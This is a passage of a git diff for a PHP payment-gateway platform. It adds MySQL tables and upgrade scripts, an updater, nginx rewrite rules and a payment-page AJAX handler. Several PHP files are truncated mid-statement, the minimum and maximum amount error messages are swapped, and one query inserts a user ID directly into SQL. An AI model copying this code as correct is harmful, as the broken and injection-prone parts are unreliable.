varchar(32) DEFAULT NULL, + `certtime` datetime DEFAULT NULL, + `certtoken` varchar(64) DEFAULT NULL, + `certcorpno` varchar(30) DEFAULT NULL, + `certcorpname` varchar(80) DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `lasttime` datetime DEFAULT NULL, + `endtime` datetime DEFAULT NULL, + `level` tinyint(1) NOT NULL DEFAULT '1', + `pay` tinyint(1) NOT NULL DEFAULT '1', + `settle` tinyint(1) NOT NULL DEFAULT '1', + `keylogin` tinyint(1) NOT NULL DEFAULT '1', + `apply` tinyint(1) NOT NULL DEFAULT '0', + `mode` tinyint(4) NOT NULL DEFAULT '0', + `status` tinyint(4) NOT NULL DEFAULT '0', + `refund` tinyint(1) NOT NULL DEFAULT '1', + `transfer` tinyint(1) NOT NULL DEFAULT '0', + `keytype` tinyint(1) NOT NULL DEFAULT '0', + `publickey` varchar(500) DEFAULT NULL, + `channelinfo` text DEFAULT NULL, + `ordername` varchar(255) DEFAULT NULL, + `msgconfig` varchar(300) DEFAULT NULL, + `remain_money` varchar(20) DEFAULT NULL, + `open_code` tinyint(1) NOT NULL DEFAULT '0', + `deposit` decimal(10,2) DEFAULT NULL, + PRIMARY KEY (`uid`), + KEY `email` (`email`), + KEY `phone` (`phone`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1000; + +DROP TABLE IF EXISTS `pre_settle`; +CREATE TABLE `pre_settle` ( + `id` int(11) NOT NULL auto_increment, + `uid` int(11) NOT NULL, + `batch` varchar(20) DEFAULT NULL, + `auto` tinyint(1) NOT NULL DEFAULT '1', + `type` tinyint(1) NOT NULL DEFAULT '1', + `account` varchar(128) NOT NULL, + `username` varchar(128) NOT NULL, + `money` decimal(10,2) NOT NULL, + `realmoney` decimal(10,2) NOT NULL, + `addtime` datetime DEFAULT NULL, + `endtime` datetime DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `transfer_no` varchar(64) DEFAULT NULL, + `transfer_channel` int(10) unsigned DEFAULT NULL, + `transfer_status` tinyint(1) NOT NULL DEFAULT '0', + `transfer_result` varchar(64) DEFAULT NULL, + `transfer_date` datetime DEFAULT NULL, + `transfer_ext` text DEFAULT NULL, + `result` varchar(64) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `uid` (`uid`), + KEY `batch` (`batch`), + KEY `transfer_no` (`transfer_no`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_log`; +CREATE TABLE `pre_log` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `uid` int(11) NOT NULL DEFAULT '0', + `type` varchar(20) NULL, + `date` datetime NOT NULL, + `ip` varchar(50) DEFAULT NULL, + `city` varchar(20) DEFAULT NULL, + `data` text NULL, + PRIMARY KEY (`id`), + KEY `logincheck` (`ip`,`date`,`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_record`; +CREATE TABLE `pre_record` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `uid` int(11) NOT NULL, + `action` tinyint(1) NOT NULL DEFAULT '0', + `money` decimal(10,2) NOT NULL, + `oldmoney` decimal(10,2) NOT NULL, + `newmoney` decimal(10,2) NOT NULL, + `type` varchar(20) DEFAULT NULL, + `trade_no` varchar(64) DEFAULT NULL, + `date` datetime NOT NULL, + PRIMARY KEY (`id`), + KEY `uid` (`uid`), + KEY `trade_no` (`trade_no`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_batch`; +CREATE TABLE `pre_batch` ( + `batch` varchar(20) NOT NULL, + `allmoney` decimal(10,2) NOT NULL, + `count` int(11) NOT NULL DEFAULT '0', + `time` datetime DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + PRIMARY KEY (`batch`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_regcode`; +CREATE TABLE `pre_regcode` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `uid` int(11) NOT NULL DEFAULT '0', + `scene` varchar(20) NOT NULL DEFAULT '', + `type` tinyint(1) NOT NULL DEFAULT '0', + `code` varchar(32) NOT NULL, + `to` varchar(32) DEFAULT NULL, + `time` int(11) NOT NULL, + `ip` varchar(50) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `errcount` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `code` (`to`,`type`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_risk`; +CREATE TABLE `pre_risk` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `uid` int(11) NOT NULL DEFAULT '0', + `type` tinyint(1) NOT NULL DEFAULT '0', + `url` varchar(64) DEFAULT NULL, + `content` varchar(64) DEFAULT NULL, + `date` datetime DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `uid` (`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_domain`; +CREATE TABLE `pre_domain` ( + `id` int(11) unsigned NOT NULL auto_increment, + `uid` int(11) NOT NULL DEFAULT '0', + `domain` varchar(128) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `addtime` datetime DEFAULT NULL, + `endtime` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `domain` (`domain`,`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_psreceiver`; +CREATE TABLE `pre_psreceiver` ( + `id` int(11) unsigned NOT NULL auto_increment, + `channel` int(11) NOT NULL, + `subchannel` int(11) DEFAULT NULL, + `uid` int(11) DEFAULT NULL, + `account` varchar(128) NOT NULL, + `name` varchar(50) DEFAULT NULL, + `rate` varchar(10) DEFAULT NULL, + `minmoney` varchar(10) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `addtime` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `channel` (`channel`,`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_psorder`; +CREATE TABLE `pre_psorder` ( + `id` int(11) unsigned NOT NULL auto_increment, + `rid` int(11) NOT NULL, + `trade_no` char(19) NOT NULL, + `api_trade_no` varchar(150) NOT NULL, + `settle_no` varchar(150) DEFAULT NULL, + `money` decimal(10,2) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `result` text DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `delay` tinyint(1) NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `trade_no` (`trade_no`), + KEY `addtime` (`addtime`,`delay`,`status`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_subchannel`; +CREATE TABLE `pre_subchannel` ( + `id` int(11) unsigned NOT NULL auto_increment, + `channel` int(11) NOT NULL, + `uid` int(11) NOT NULL, + `name` varchar(30) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `info` text DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `usetime` datetime DEFAULT NULL, + `apply_id` int(11) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `channel` (`channel`), + KEY `uid` (`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_blacklist`; +CREATE TABLE `pre_blacklist` ( + `id` int(11) unsigned NOT NULL auto_increment, + `type` tinyint(1) NOT NULL DEFAULT '0', + `content` varchar(50) NOT NULL, + `addtime` datetime NOT NULL, + `endtime` datetime DEFAULT NULL, + `remark` varchar(80) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `content`(`content`,`type`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_wework`; +CREATE TABLE `pre_wework` ( + `id` int(11) unsigned NOT NULL auto_increment, + `name` varchar(30) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `appid` varchar(150) DEFAULT NULL, + `appsecret` varchar(250) DEFAULT NULL, + `access_token` varchar(300) DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `updatetime` datetime DEFAULT NULL, + `expiretime` datetime DEFAULT NULL, + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_wxkfaccount`; +CREATE TABLE `pre_wxkfaccount` ( + `id` int(11) unsigned NOT NULL auto_increment, + `wid` int(11) unsigned NOT NULL, + `openkfid` varchar(60) NOT NULL, + `url` varchar(100) DEFAULT NULL, + `cursor` varchar(30) DEFAULT NULL, + `name` varchar(300) DEFAULT NULL, + `addtime` datetime NOT NULL, + `usetime` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `wid`(`wid`), + UNIQUE KEY `openkfid`(`openkfid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_wxkflog`; +CREATE TABLE `pre_wxkflog` ( + `trade_no` char(19) NOT NULL, + `aid` int(11) unsigned NOT NULL, + `sid` char(32) NOT NULL, + `payurl` varchar(500) NOT NULL, + `addtime` datetime NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + PRIMARY KEY (`trade_no`), + KEY `sid`(`sid`), + KEY `addtime`(`addtime`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_transfer`; +CREATE TABLE `pre_transfer` ( + `biz_no` char(19) NOT NULL, + `pay_order_no` varchar(80) DEFAULT NULL, + `uid` int(11) NOT NULL, + `type` varchar(10) NOT NULL, + `channel` int(10) unsigned NOT NULL, + `account` varchar(128) NOT NULL, + `username` varchar(128) DEFAULT NULL, + `money` decimal(10,2) NOT NULL, + `costmoney` decimal(10,2) DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `paytime` datetime DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `api` tinyint(1) NOT NULL DEFAULT '0', + `desc` varchar(80) DEFAULT NULL, + `result` varchar(80) DEFAULT NULL, + `ext` text DEFAULT NULL, + PRIMARY KEY (`biz_no`), + KEY `uid` (`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_invitecode`; +CREATE TABLE `pre_invitecode` ( + `id` int(11) unsigned NOT NULL auto_increment, + `code` varchar(40) NOT NULL, + `addtime` datetime NOT NULL, + `usetime` datetime DEFAULT NULL, + `uid` int(11) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT 0, + PRIMARY KEY (`id`), + KEY `code` (`code`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_refundorder`; +CREATE TABLE `pre_refundorder` ( + `refund_no` char(19) NOT NULL, + `out_refund_no` varchar(150) NOT NULL, + `trade_no` char(19) NOT NULL, + `uid` int(11) NOT NULL DEFAULT '0', + `money` decimal(10,2) NOT NULL, + `reducemoney` decimal(10,2) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `addtime` datetime DEFAULT NULL, + `endtime` datetime DEFAULT NULL, + PRIMARY KEY (`refund_no`), + KEY `out_refund_no` (`out_refund_no`,`uid`), + KEY `trade_no` (`trade_no`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +DROP TABLE IF EXISTS `pre_suborder`; +CREATE TABLE `pre_suborder` ( + `sub_trade_no` varchar(25) NOT NULL, + `trade_no` char(19) NOT NULL, + `api_trade_no` varchar(150) DEFAULT NULL, + `money` decimal(10,2) NOT NULL, + `refundmoney` decimal(10,2) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `settle` tinyint(1) NOT NULL DEFAULT '0', + PRIMARY KEY (`sub_trade_no`), + KEY `trade_no` (`trade_no`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; \ No newline at end of file diff --git a/install/update.php b/install/update.php new file mode 100644 index 0000000..8604884 --- /dev/null +++ b/install/update.php @@ -0,0 +1,57 @@ +getMessage()); +} +date_default_timezone_set("PRC"); +$date = date("Y-m-d"); +$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT); +$db->exec("set sql_mode = ''"); +$db->exec("set names utf8"); + +$version = 0; +if($rs = $db->query("SELECT v FROM pay_config WHERE k='version'")){ + $version = $rs->fetchColumn(); +} + +if($version==DB_VERSION){ + exit('你的网站已经升级到最新版本了'); +}elseif($version<2044){ + $sqls = file_get_contents('update2.sql'); + $sqls .= file_get_contents('update3.sql'); + $sqls=explode(';', $sqls); + $sqls[]="UPDATE `pre_config` SET `v` = '".DB_VERSION."' where `k` = 'version'"; +}elseif($versionexec($value)===false){ + $error++; + $dberror=$db->errorInfo(); + $errorMsg.=$dberror[2]."
    "; + }else{ + $success++; + } +} +echo '成功执行SQL语句'.$success.'条!
    '; +if($errorMsg){ +//echo ''; +} +echo '
    点此返回首页'; +?> \ No newline at end of file diff --git a/install/update2.sql b/install/update2.sql new file mode 100644 index 0000000..698dcbf --- /dev/null +++ b/install/update2.sql @@ -0,0 +1,322 @@ +ALTER TABLE `pre_channel` +ADD COLUMN `mode` int(1) DEFAULT 0; + +ALTER TABLE `pre_channel` +ADD COLUMN `daytop` int(10) DEFAULT 0, +ADD COLUMN `daystatus` int(1) DEFAULT 0; + +ALTER TABLE `pre_user` +ADD COLUMN `channelinfo` text DEFAULT NULL; + +ALTER TABLE `pre_group` +ADD COLUMN `settle_open` int(1) DEFAULT 0, +ADD COLUMN `settle_type` int(1) DEFAULT 0, +ADD COLUMN `settings` text DEFAULT NULL; + +ALTER TABLE `pre_channel` +ADD COLUMN `paymin` varchar(10) DEFAULT NULL, +ADD COLUMN `paymax` varchar(10) DEFAULT NULL; + +ALTER TABLE `pre_order` +ADD COLUMN `notifytime` datetime DEFAULT NULL; + +ALTER TABLE `pre_order` +ADD COLUMN `param` varchar(255) DEFAULT NULL; + +ALTER TABLE `pre_user` +ADD COLUMN `certtype` tinyint(4) NOT NULL DEFAULT '0', +ADD COLUMN `certtoken` varchar(64) DEFAULT NULL; + +ALTER TABLE `pre_order` +ADD COLUMN `domain2` varchar(64) DEFAULT NULL; + +ALTER TABLE `pre_user` +CHANGE COLUMN `wxid` `wx_uid` varchar(32) DEFAULT NULL; + +ALTER TABLE `pre_user` +ADD COLUMN `certmethod` tinyint(4) NOT NULL DEFAULT '0', +ADD COLUMN `certcorpno` varchar(30) DEFAULT NULL, +ADD COLUMN `certcorpname` varchar(80) DEFAULT NULL, +ADD COLUMN `ordername` varchar(255) DEFAULT NULL; + +ALTER TABLE `pre_regcode` +ADD COLUMN `errcount` int(11) NOT NULL DEFAULT '0'; + +ALTER TABLE `pre_channel` +ADD COLUMN `appwxmp` int(11) DEFAULT NULL, +ADD COLUMN `appwxa` int(11) DEFAULT NULL, +ADD COLUMN `appswitch` tinyint(4) DEFAULT NULL; + +CREATE TABLE IF NOT EXISTS `pre_weixin` ( + `id` int(11) unsigned NOT NULL auto_increment, + `type` tinyint(4) unsigned NOT NULL DEFAULT '0', + `name` varchar(30) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `appid` varchar(150) DEFAULT NULL, + `appsecret` varchar(250) DEFAULT NULL, + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +INSERT INTO `pre_type` VALUES (6, 'paypal', 0, 'PayPal', 0); + +CREATE TABLE IF NOT EXISTS `pre_domain` ( + `id` int(11) unsigned NOT NULL auto_increment, + `uid` int(11) NOT NULL DEFAULT '0', + `domain` varchar(128) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `addtime` datetime DEFAULT NULL, + `endtime` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `domain` (`domain`,`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +ALTER TABLE `pre_user` +ADD COLUMN `refund` tinyint(1) NOT NULL DEFAULT '0'; + +ALTER TABLE `pre_order` +ADD COLUMN `combine` tinyint(1) NOT NULL DEFAULT '0', +ADD COLUMN `profits` int(11) NOT NULL DEFAULT '0'; + +ALTER TABLE `pre_user` +ADD COLUMN `endtime` datetime DEFAULT NULL; + +ALTER TABLE `pre_order` +ADD COLUMN `profits2` int(11) NOT NULL DEFAULT '0'; + +ALTER TABLE `pre_order` +ADD COLUMN `settle` tinyint(1) NOT NULL DEFAULT '0'; + +CREATE TABLE IF NOT EXISTS `pre_psreceiver` ( + `id` int(11) unsigned NOT NULL auto_increment, + `channel` int(11) NOT NULL, + `uid` int(11) DEFAULT NULL, + `account` varchar(128) NOT NULL, + `name` varchar(50) DEFAULT NULL, + `rate` varchar(10) DEFAULT NULL, + `minmoney` varchar(10) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `addtime` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `channel` (`channel`,`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +CREATE TABLE IF NOT EXISTS `pre_psorder` ( + `id` int(11) unsigned NOT NULL auto_increment, + `rid` int(11) NOT NULL, + `trade_no` char(19) NOT NULL, + `api_trade_no` varchar(150) NOT NULL, + `settle_no` varchar(150) DEFAULT NULL, + `money` decimal(10,2) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `result` text DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `trade_no` (`trade_no`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +CREATE TABLE IF NOT EXISTS `pre_subchannel` ( + `id` int(11) unsigned NOT NULL auto_increment, + `channel` int(11) NOT NULL, + `uid` int(11) NOT NULL, + `name` varchar(30) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `info` text DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `usetime` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `channel` (`channel`), + KEY `uid` (`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +ALTER TABLE `pre_order` +ADD COLUMN `subchannel` int(11) NOT NULL DEFAULT '0'; + +ALTER TABLE `pre_order` +ADD COLUMN `payurl` varchar(500) DEFAULT NULL, +ADD COLUMN `ext` text DEFAULT NULL; + +CREATE TABLE IF NOT EXISTS `pre_blacklist` ( + `id` int(11) unsigned NOT NULL auto_increment, + `type` tinyint(1) NOT NULL DEFAULT '0', + `content` varchar(50) NOT NULL, + `addtime` datetime NOT NULL, + `endtime` datetime DEFAULT NULL, + `remark` varchar(80) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `content`(`content`,`type`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +ALTER TABLE `pre_group` +ADD COLUMN `settle_rate` varchar(10) DEFAULT NULL; + +CREATE TABLE IF NOT EXISTS `pre_wework` ( + `id` int(11) unsigned NOT NULL auto_increment, + `name` varchar(30) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `appid` varchar(150) DEFAULT NULL, + `appsecret` varchar(250) DEFAULT NULL, + `access_token` varchar(300) DEFAULT NULL, + `addtime` datetime DEFAULT NULL, + `updatetime` datetime DEFAULT NULL, + `expiretime` datetime DEFAULT NULL, + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +CREATE TABLE IF NOT EXISTS `pre_wxkfaccount` ( + `id` int(11) unsigned NOT NULL auto_increment, + `wid` int(11) unsigned NOT NULL, + `openkfid` varchar(60) NOT NULL, + `url` varchar(100) DEFAULT NULL, + `cursor` varchar(30) DEFAULT NULL, + `name` varchar(300) DEFAULT NULL, + `addtime` datetime NOT NULL, + `usetime` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `wid`(`wid`), + UNIQUE KEY `openkfid`(`openkfid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +CREATE TABLE IF NOT EXISTS `pre_wxkflog` ( + `trade_no` char(19) NOT NULL, + `aid` int(11) unsigned NOT NULL, + `sid` char(32) NOT NULL, + `payurl` varchar(500) NOT NULL, + `addtime` datetime NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + PRIMARY KEY (`trade_no`), + KEY `sid`(`sid`), + KEY `addtime`(`addtime`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +ALTER TABLE `pre_weixin` +ADD COLUMN `access_token` varchar(300) DEFAULT NULL, +ADD COLUMN `addtime` datetime DEFAULT NULL, +ADD COLUMN `updatetime` datetime DEFAULT NULL, +ADD COLUMN `expiretime` datetime DEFAULT NULL; + +ALTER TABLE `pre_wxkfaccount` +ADD COLUMN `name` varchar(300) DEFAULT NULL; + +ALTER TABLE `pre_user` +ADD COLUMN `msgconfig` varchar(300) DEFAULT NULL; + +CREATE TABLE IF NOT EXISTS `pre_transfer` ( + `biz_no` char(19) NOT NULL, + `pay_order_no` varchar(80) DEFAULT NULL, + `uid` int(11) NOT NULL, + `type` varchar(10) NOT NULL, + `channel` int(10) unsigned NOT NULL, + `account` varchar(128) NOT NULL, + `username` varchar(128) DEFAULT NULL, + `money` decimal(10,2) NOT NULL, + `costmoney` decimal(10,2) DEFAULT NULL, + `paytime` datetime DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `api` tinyint(1) NOT NULL DEFAULT '0', + `desc` varchar(80) DEFAULT NULL, + `result` varchar(80) DEFAULT NULL, + PRIMARY KEY (`biz_no`), + KEY uid (`uid`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +ALTER TABLE `pre_plugin` +ADD COLUMN `transtypes` varchar(50) DEFAULT NULL; + +ALTER TABLE `pre_regcode` +ADD COLUMN `scene` varchar(20) NOT NULL DEFAULT ''; + +ALTER TABLE `pre_group` +ADD COLUMN `config` text DEFAULT NULL, +DROP COLUMN `settle_open`, +DROP COLUMN `settle_type`, +DROP COLUMN `settle_rate`; + +UPDATE pre_config SET v='0' WHERE k='settle_type' AND v='2'; + +CREATE TABLE IF NOT EXISTS `pre_invitecode` ( + `id` int(11) unsigned NOT NULL auto_increment, + `code` varchar(40) NOT NULL, + `addtime` datetime NOT NULL, + `usetime` datetime DEFAULT NULL, + `uid` int(11) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT 0, + PRIMARY KEY (`id`), + KEY `code` (`code`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +ALTER TABLE `pre_subchannel` +ADD COLUMN `apply_id` int(11) DEFAULT NULL; +ALTER TABLE `pre_channel` +ADD COLUMN `costrate` decimal(5,2) DEFAULT NULL; +ALTER TABLE `pre_order` +ADD COLUMN `profitmoney` decimal(10,2) DEFAULT NULL; + +ALTER TABLE `pre_channel` +ADD COLUMN `config` text DEFAULT NULL; +ALTER TABLE `pre_order` +ADD COLUMN `refundmoney` decimal(10,2) DEFAULT NULL, +ADD COLUMN `version` tinyint(1) NOT NULL DEFAULT '0'; +ALTER TABLE `pre_user` +ADD COLUMN `transfer` tinyint(1) NOT NULL DEFAULT '0', +ADD COLUMN `keytype` tinyint(1) NOT NULL DEFAULT '0', +ADD COLUMN `publickey` varchar(500) DEFAULT NULL; +CREATE TABLE IF NOT EXISTS `pre_refundorder` ( + `refund_no` char(19) NOT NULL, + `out_refund_no` varchar(150) NOT NULL, + `trade_no` char(19) NOT NULL, + `uid` int(11) NOT NULL DEFAULT '0', + `money` decimal(10,2) NOT NULL, + `reducemoney` decimal(10,2) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `addtime` datetime DEFAULT NULL, + `endtime` datetime DEFAULT NULL, + PRIMARY KEY (`refund_no`), + KEY `out_refund_no` (`out_refund_no`,`uid`), + KEY `trade_no` (`trade_no`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +ALTER TABLE `pre_log` +ADD INDEX `logincheck` (`ip`,`date`,`uid`); +ALTER TABLE `pre_order` +ADD COLUMN `bill_trade_no` varchar(150) DEFAULT NULL, +ADD INDEX `bill_trade_no` (`bill_trade_no`); + +ALTER TABLE `pre_user` +ADD COLUMN `remain_money` varchar(20) DEFAULT NULL, +ADD COLUMN `open_code` tinyint(1) NOT NULL DEFAULT '0'; + +ALTER TABLE `pre_psreceiver` +ADD COLUMN `subchannel` int(11) DEFAULT NULL; + +ALTER TABLE `pre_transfer` +ADD COLUMN `addtime` datetime DEFAULT NULL, +ADD COLUMN `ext` text DEFAULT NULL; + +ALTER TABLE `pre_settle` +ADD COLUMN `transfer_channel` int(10) unsigned DEFAULT NULL, +ADD COLUMN `transfer_no` varchar(64) DEFAULT NULL, +ADD COLUMN `transfer_ext` text DEFAULT NULL, +ADD INDEX `transfer_no` (`transfer_no`); + +ALTER TABLE `pre_order` +ADD COLUMN `mobile` varchar(100) DEFAULT NULL; + +ALTER TABLE `pre_user` +ADD COLUMN `deposit` decimal(10,2) DEFAULT NULL; + +ALTER TABLE `pre_order` +MODIFY COLUMN `ip` varchar(50) DEFAULT NULL; +ALTER TABLE `pre_log` +MODIFY COLUMN `ip` varchar(50) DEFAULT NULL; +ALTER TABLE `pre_regcode` +MODIFY COLUMN `ip` varchar(50) DEFAULT NULL; +ALTER TABLE `pre_user` +MODIFY COLUMN `msgconfig` varchar(300) DEFAULT NULL; + +ALTER TABLE `pre_group` +ADD COLUMN `visible` varchar(30) DEFAULT NULL; +ALTER TABLE `pre_psorder` +ADD COLUMN `delay` tinyint(1) NOT NULL DEFAULT '0', +ADD INDEX `addtime` (`addtime`,`delay`,`status`); +ALTER TABLE `pre_order` +MODIFY COLUMN `buyer` varchar(100) DEFAULT NULL; \ No newline at end of file diff --git a/install/update3.sql b/install/update3.sql new file mode 100644 index 0000000..e08c3a4 --- /dev/null +++ b/install/update3.sql @@ -0,0 +1,11 @@ +CREATE TABLE IF NOT EXISTS `pre_suborder` ( + `sub_trade_no` varchar(25) NOT NULL, + `trade_no` char(19) NOT NULL, + `api_trade_no` varchar(150) DEFAULT NULL, + `money` decimal(10,2) NOT NULL, + `refundmoney` decimal(10,2) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT '0', + `settle` tinyint(1) NOT NULL DEFAULT '0', + PRIMARY KEY (`sub_trade_no`), + KEY `trade_no` (`trade_no`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8; \ No newline at end of file diff --git a/mapi.php b/mapi.php new file mode 100644 index 0000000..c3a150f --- /dev/null +++ b/mapi.php @@ -0,0 +1,9 @@ +create(); diff --git a/nginx.txt b/nginx.txt new file mode 100644 index 0000000..bea40fd --- /dev/null +++ b/nginx.txt @@ -0,0 +1,14 @@ +location / { + if (!-e $request_filename) { + rewrite ^/(.[a-zA-Z0-9\-\_]+).html$ /index.php?mod=$1 last; + } + rewrite ^/pay/(.*)$ /pay.php?s=$1 last; + rewrite ^/api/(.*)$ /api.php?s=$1 last; + rewrite ^/doc/(.[a-zA-Z0-9\-\_]+).html$ /index.php?doc=$1 last; +} +location ^~ /plugins { + deny all; +} +location ^~ /includes { + deny all; +} \ No newline at end of file diff --git a/pay.php b/pay.php new file mode 100644 index 0000000..5cc3479 --- /dev/null +++ b/pay.php @@ -0,0 +1,24 @@ +getMessage()); +} \ No newline at end of file diff --git a/paypage/ajax.php b/paypage/ajax.php new file mode 100644 index 0000000..ea1b52a --- /dev/null +++ b/paypage/ajax.php @@ -0,0 +1,114 @@ +0 && $money>$conf['pay_maxmoney'])showerrorjson('最大支付金额是'.$conf['pay_maxmoney'].'元'); +if($conf['pay_minmoney']>0 && $money<$conf['pay_minmoney'])showerrorjson('最小支付金额是'.$conf['pay_minmoney'].'元'); + +$blackip = $DB->find('blacklist', '*', ['type'=>1, 'content'=>$clientip], null, 1); +if($blackip)showerrorjson('系统异常无法完成付款'); +if($payer){ + $black = $DB->find('blacklist', '*', ['type'=>0, 'content'=>$payer], null, 1); + if($black)showerrorjson('系统异常无法完成付款'); +} + +if(!empty($paytype) && isset($_SESSION['paypage_typeid']) && isset($_SESSION['paypage_paymax']) && isset($_SESSION['paypage_paymin'])){ + if(!empty($_SESSION['paypage_paymin']) && $_SESSION['paypage_paymin']>0 && $money<$_SESSION['paypage_paymin']){ + showerrorjson('当前支付通道最大支付金额是'.$_SESSION['paypage_paymin'].'元'); + } + if(!empty($_SESSION['paypage_paymax']) && $_SESSION['paypage_paymax']>0 && $money>$_SESSION['paypage_paymax']){ + showerrorjson('当前支付通道最小支付金额是'.$_SESSION['paypage_paymax'].'元'); + } +} + +$userrow = $DB->getRow("SELECT `mode`,`ordername`,`channelinfo`,`money` FROM `pre_user` WHERE `uid`='{$uid}' LIMIT 1"); + +$trade_no=date("YmdHis").rand(11111,99999); +$return_url=$siteurl.'paypage/success.php?trade_no='.$trade_no; +$domain=getdomain($return_url); +if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`tid`,`addtime`,`name`,`money`,`notify_url`,`return_url`,`param`,`domain`,`ip`,`buyer`,`status`) VALUES (:trade_no, :out_trade_no, :uid, 3, NOW(), :name, :money, :notify_url, :return_url, :param, :domain, :clientip, :buyer, 0)", [':trade_no'=>$trade_no, ':out_trade_no'=>$trade_no, ':uid'=>$uid, ':name'=>'在线收款', ':money'=>$money, ':notify_url'=>$return_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip, ':buyer'=>$payer, ':param'=>$param]))showerrorjson('创建订单失败,请返回重试!'); + +$_SESSION['paypage_trade_no'] = $trade_no; + +$result=[]; +$result['code']=0; +$result['msg']='succ'; +$result['trade_no']=$trade_no; +$result['direct']=$direct; + +if(!empty($paytype) && isset($_SESSION['paypage_typeid']) && 